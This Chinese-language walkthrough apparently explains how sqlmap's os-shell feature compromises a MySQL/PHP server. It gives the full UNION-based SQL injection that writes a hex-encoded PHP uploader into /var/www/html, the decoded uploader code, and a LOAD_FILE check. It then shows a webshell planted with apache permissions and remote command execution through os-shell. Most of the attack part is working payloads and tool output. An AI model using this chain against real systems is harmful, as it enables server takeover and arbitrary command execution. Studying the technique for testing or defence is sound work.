SELECT first_name, last_name FROM users WHERE user_id = '-1181' UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL INTO DUMPFILE '/var/www/html/tmpuhgbs.php'-- -'

这段16进制的内容为:

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>

是一段文件上传的代码
然后判断文件上传是否成功

SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT CONCAT(0x71786a6b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f7661722f7777772f68746d6c2f746d7075686762732e706870)) AS CHAR),0x20),0x7178767871),NULL-- -'

文件上传成功,可以看到属主和属组都是mysql。
-rw-rw-rw- 1 mysql mysql 706 6月 17 10:21 tmpuhgbs.php
然后通过tmpuhgbs.php直接上传webshell,可以看到权限为apache。
-rwxr-xr-x 1 apache apache 908 6月 17 10:21 tmpbewox.php
然后就可以执行系统命令了

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'apache'

PS:有时因为中途退出会导致命令执行没有回显
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] No output
需要清空一下C:\USERS\XXX\.SQLMAP\OUTPUT\